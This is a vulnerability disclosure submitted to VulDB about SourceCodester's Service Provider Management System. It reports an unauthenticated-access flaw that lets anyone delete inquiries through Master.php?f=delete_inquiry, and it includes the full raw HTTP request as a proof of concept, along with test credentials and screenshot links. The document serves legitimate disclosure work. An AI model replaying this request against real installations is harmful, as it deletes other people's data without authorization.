提交 #149484: Service Provider Management System Unauthorized Access

Service Provider Management System is a content mangement system implemented by PHP and MySQL.

The system exists an unauthorized vulnerability.

For business logic , the admin page should not be accessed by users who's role are not admin,but the inquiries route could be accessed by every one , even doesn't exists cookie in request

test account is 123456,password is 123456,rule is staff.
http://cdn.polowong.top/image-20230427201723917.png

Staff role should not have access right to inquiries route,but the staff can access view the contents , even delete the inquiries without cookie!

http://cdn.polowong.top/image-20230427201759280.png

http://cdn.polowong.top/image-20230427202201900.png

After deleted Cookie , send the request, the inquiries still be deleted

http://cdn.polowong.top/image-20230427202241488.png

http://cdn.polowong.top/image-20230427202259592.png

return to website , we can not find the inquiry.

http://cdn.polowong.top/image-20230427202326805.png

The whole packet as shown below:

```
POST /classes/Master.php?f=delete_inquiry HTTP/1.1
Host: test1.io
Content-Length: 4
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/x.x.x.x Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://test1.io
Referer: http://test1.io/admin/?page=inquiries
Accept-Encoding: gzip, deflate
Accept-Language: en,zh-CN;q=0.9,zh;q=0.8
Connection: close

id=1
```
source code download link:
https://www.sourcecodester.com/download-code?nid=16501&title=Service+Provider+Management+System+using+PHP+and+MySQL+Source+Code+Free+Download

• 用户: polowong (UID 45828)
• 提交: 2023-04-27 14時29分 (3 年前)
• 管理: 2023-04-27 15時38分 (1 hour later)
• 状态: 已接受
• VulDB条目: 227588 [SourceCodester Service Provider Management System 1.0 Master.php?f=delete_inquiry 权限提升]
• 积分: 20